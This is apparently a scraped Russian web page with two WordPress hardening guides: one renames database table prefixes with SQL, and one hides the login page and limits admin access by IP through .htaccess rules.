RENAME table `wp_commentmeta` TO `wp_1secure1_commentmeta`; RENAME table `wp_comments` TO `wp_1secure1_comments`; RENAME table `wp_links` TO `wp_1secure1_links`; RENAME table `wp_options` TO `wp_1secure1_options`; RENAME table `wp_postmeta` TO `wp_1secure1_postmeta`; RENAME table `wp_posts` TO `wp_1secure1_posts`; RENAME table `wp_terms` TO `wp_1secure1_terms`; RENAME table `wp_termmeta` TO `wp_1secure1_termmeta`; RENAME table `wp_term_relationships` TO `wp_1secure1_term_relationships`; RENAME table `wp_term_taxonomy` TO `wp_1secure1_term_taxonomy`; RENAME table `wp_usermeta` TO `wp_1secure1_usermeta`; RENAME table `wp_users` TO `wp_1secure1_users`;

Некоторые шаблоны WordPress или плагины могут добавлять дополнительные таблицы в базу данных. В случае если у вас больше 12 таблиц в базе данных MySQL, добавьте оставшиеся из них вручную в запрос SQL и выполните его.

Часть третья – Проверка опций и пользовательских таблиц метаданных

В зависимости от числа плагинов которые вы установили, некоторые значения в вашей базе данных должны быть обновлены вручную. Сделать это можно выполнив отдельные SQL запросы на таблицу опций и метаданных .

Для таблицы опций, вы должны использовать:

SELECT * FROM `wp_1secure1_options` WHERE `option_name` LIKE `%wp_%`

Для таблицы метаданных , вы должны использовать:

SELECT * FROM `wp_1secure1_usermeta` WHERE `meta_key` LIKE `%wp_%`

Когда вы получите результаты запроса, просто обновите все значения с wp_ на ваш новый настроенный префикс. В таблице метаданных пользователя вам нужно отредактировать поле meta_key , тогда как для опций , необходимо изменить значение option_name .

Обеспечение безопасности новых установок WordPress

Если вы планируете устанавливать новые сайты WordPress, вам нет необходимости вновь выполнять данный процесс. Вы легко сможете поменять префиксы таблиц WordPress в процессе установки:

Поздравляем! Вы успешно улучшили безопасность вашей базы данных от внедрения SQL-кода.

Заключение

Несмотря на то, что WordPress самая взламываемая CMS в мире, улучшить ее защиту не так тяжело. В этом руководстве мы рассказали вам о 12 советах, которых вам следует придерживаться, чтобы защита WordPress оставалась на должном уровне.

Автор

Елена имеет профессиональное техническое образование в области информационных технологий и опыт программирования на разных языках под разные платформы и системы. Более 10 лет посвятила сфере веб, работая с разными CMS, такими как: Drupal, Joomla, Magento и конечно же наиболее популярной в наши дни системой управления контентом – WordPress. Её статьи всегда технически выверены и точны, будь то обзор для WordPress или инструкции по настройке вашего VPS сервера.

Время на чтение: 4 мин

Еще год назад у меня очень часто нагрузка на сервер превышала предел допустимого по тарифу лимита. При этом проблема была не в самих сайтах, а банальной атаке злоумышленников на админку, с целью получить доступ для каких-то своих целей.

Сегодня я расскажу как справился с проблемой, что советую и вам сделать на всякий случай у себя.

В результате было принято решение сменить адрес формы логина в админку, а так же прикрыть админку для всех посторонних, у кого не мой IP.

Стоит заметить, что некоторые хостинг-компании сами автоматически создали для всех пользователей новый адрес админки. Если вы пользуетесь услугами подобных хостингов, то дальше не читайте статьи и не тратьте время.

Как сменить адрес админки WordPress

Раньше публиковал такую статью . Здесь вроде бы и похожий результат, но эффект и назначение другие.

Не забываем делать резервные копии файлов, с которыми работаем.

  • Для начала скопируем файл wp-login.php из корня сайта (там где лежит wp-config.php) на ftp к себе на компьютер.
  • Переименовываем его как душе угодно. Например vhod.php
  • Открываем этот файл бесплатной программой Notepad++ (или чем вам удобнее редактировать) и подменяем все вхождения фразы wp-login.php на vhod.php .

Сделать это быстро можно нажатием сочетания клавиш CTRL+F в Notepad++. Ну а в появившемся окне вводим:

Вот так за секунду я заменил во всем файле нужное мне вхождение фразы. Попадалось оно 12 раз.

Новый файл закидываем на ftp.

Аналогичную штуку нужно будет провернуть в файле general-template.php , который найдете в папке wp-includes тут же на ftp. Т.е. меняете вхождение фразы wp-login.php на vhod.php , а само название файла не меняете!

Теперь там же в корне сайта у вас есть файл .htaccess . Тоже копируем его к себе на компьютер и открываем на редактирование (можно обычным блокнотом Windows Notepad). Вставляем такой кусок кода, который блокирует доступ всем к файлу wp-login.php

Order Deny,Allow Deny from all

< Files wp - login . php >

Order Deny , Allow

Deny from all

< / Files >

Именно данный шаг снял нагрузку, а так же спрятал форму авторизации. Нагрузка была снята за счет вставки представленного кода в.htaccess: если шло обращение к http://site.ru/wp-login.php, то отдавало 403 ошибку, а не 404.

Повторим кратко алгоритм работы:

  • Переименовываем файл wp-login.php на произвольное имя и подменяем в нем вхождения названия на новое.
  • Аналогично подменяем в файле general-template.php старое название wp-login.php на новое.
  • Прописываем в файле.htaccess запрет к доступу wp-login.php для всех

После обновления WordPress останется поправить только файл general-template.php. Но т.к. обновляется движок не так уж часто - это мелочь по сравнению с эффектом.

Ставим ограничение на вход по IP через.htaccess

В качестве дополнительных мер по защите сайта мною было принято ограничение на вход в админку по IP. Проблема решалась очень просто: создаем пустой файл.htaccess и добавляем в него такой код

order deny,allow allow from 192.168.0.1 deny from all

order deny , allow

allow from 192.168.0.1

deny from all

Файл сохраняем и закидываем в папку wp-admin там же в корне сайта.

Вместо моего IP из примера поставьте свой настоящий. Притом можно добавить несколько IP с новой строки каждый:

order deny,allow allow from 126.142.40.16 allow from 195.234.69.6 deny from all

order deny , allow

allow from 126.142.40.16

allow from 195.234.69.6

deny from all

Если IP динамический, то можете поставить цифры только до первой-второй-третьей точки:

просмотров